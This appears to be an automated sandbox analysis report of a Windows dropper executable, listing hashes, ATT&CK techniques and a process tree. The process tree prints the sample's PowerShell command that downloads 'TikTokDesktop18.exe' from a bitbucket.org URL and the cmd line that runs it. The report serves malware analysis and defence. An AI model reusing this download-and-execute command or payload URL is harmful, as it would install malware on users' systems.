b8f6f9e8718c5abc0d2d64183fb1a103f0a7caf763ba29cd96aae03f810411e8

Analysis

max time kernel
118s
max time network
120s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
27/11/2024, 12:32

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General

Target

b8f6f9e8718c5abc0d2d64183fb1a103f0a7caf763ba29cd96aae03f810411e8N.exe
Size

89KB
MD5

ee5fa211e0dfb2e96a3953d4bace7850
SHA1

65884c08e3876e8aeab4f5172d48e203e60ab75b
SHA256

b8f6f9e8718c5abc0d2d64183fb1a103f0a7caf763ba29cd96aae03f810411e8
SHA512

ff98b501ac22fdfc0b458b9e726388bbfe8d775e3988d83312a6551cdd57d21de1d87b3f8d9bdf4f9ec50cfda2e5b360e136d09e8f76000301e510ee63accf65
SSDEEP

1536:z7fbN3eEDhDPA/pICdUkbBtW7upvaLU0bI5taxKo0IOlnToIfAw3Oj:v7DhdC6kzWypvaQ0FxyNTBfAl

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://bitbucket.org/superappsss/khem-praksa/downloads/TikTokDesktop18.exe

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2580	powershell.exe
6	2580	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2580	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
4	bitbucket.org
5	bitbucket.org
6	bitbucket.org

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	b8f6f9e8718c5abc0d2d64183fb1a103f0a7caf763ba29cd96aae03f810411e8N.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2580	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2580	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 2008 wrote to memory of 1212	2008	b8f6f9e8718c5abc0d2d64183fb1a103f0a7caf763ba29cd96aae03f810411e8N.exe	31
PID 2008 wrote to memory of 1212	2008	b8f6f9e8718c5abc0d2d64183fb1a103f0a7caf763ba29cd96aae03f810411e8N.exe	31
PID 2008 wrote to memory of 1212	2008	b8f6f9e8718c5abc0d2d64183fb1a103f0a7caf763ba29cd96aae03f810411e8N.exe	31
PID 2008 wrote to memory of 1212	2008	b8f6f9e8718c5abc0d2d64183fb1a103f0a7caf763ba29cd96aae03f810411e8N.exe	31
PID 1212 wrote to memory of 2580	1212	cmd.exe	32
PID 1212 wrote to memory of 2580	1212	cmd.exe	32
PID 1212 wrote to memory of 2580	1212	cmd.exe	32
PID 1212 wrote to memory of 2508	1212	cmd.exe	33
PID 1212 wrote to memory of 2508	1212	cmd.exe	33
PID 1212 wrote to memory of 2508	1212	cmd.exe	33

C:\Users\Admin\AppData\Local\Temp\b8f6f9e8718c5abc0d2d64183fb1a103f0a7caf763ba29cd96aae03f810411e8N.exe
"C:\Users\Admin\AppData\Local\Temp\b8f6f9e8718c5abc0d2d64183fb1a103f0a7caf763ba29cd96aae03f810411e8N.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2008
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\8102.tmp\8103.tmp\8104.bat C:\Users\Admin\AppData\Local\Temp\b8f6f9e8718c5abc0d2d64183fb1a103f0a7caf763ba29cd96aae03f810411e8N.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1212
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell /nop /com "(New-Object Net.WebClient).DownloadFile('https://bitbucket.org/superappsss/khem-praksa/downloads/TikTokDesktop18.exe', 'C:\Users\Admin\AppData\Local\Temp\TikTokDesktop18.exe')";
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2580
- - C:\Windows\system32\cmd.exe
    cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TikTokDesktop18.exe;
    3⤵
    PID:2508

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\8102.tmp\8103.tmp\8104.bat

Filesize
260B

MD5
1904675eec0f302424c4bde0956dab54

SHA1
267c3174e35e0e2a7d104f98b3326f313f2e464e

SHA256
45fa85497886f443950af5fbd09098407a05345925fd942ac49eda67a93657e6

SHA512
fe3682e4c1d36e14d4bb6ced55d62b609a8417a98731207246f7b9419724d5463246f641e1c4b1b53ec9358e65d7938ecc0b71f2ea09455bdb61815761e9f6f3

Download Submit
memory/2580-6-0x000007FEF601E000-0x000007FEF601F000-memory.dmp

Filesize
4KB

Download
memory/2580-7-0x000000001B590000-0x000000001B872000-memory.dmp

Filesize
2.9MB

Download
memory/2580-10-0x000007FEF5D60000-0x000007FEF66FD000-memory.dmp

Filesize
9.6MB

Download
memory/2580-9-0x000007FEF5D60000-0x000007FEF66FD000-memory.dmp

Filesize
9.6MB

Download
memory/2580-8-0x0000000002870000-0x0000000002878000-memory.dmp

Filesize
32KB

Download
memory/2580-11-0x000007FEF5D60000-0x000007FEF66FD000-memory.dmp

Filesize
9.6MB

Download
memory/2580-12-0x000007FEF5D60000-0x000007FEF66FD000-memory.dmp

Filesize
9.6MB

Download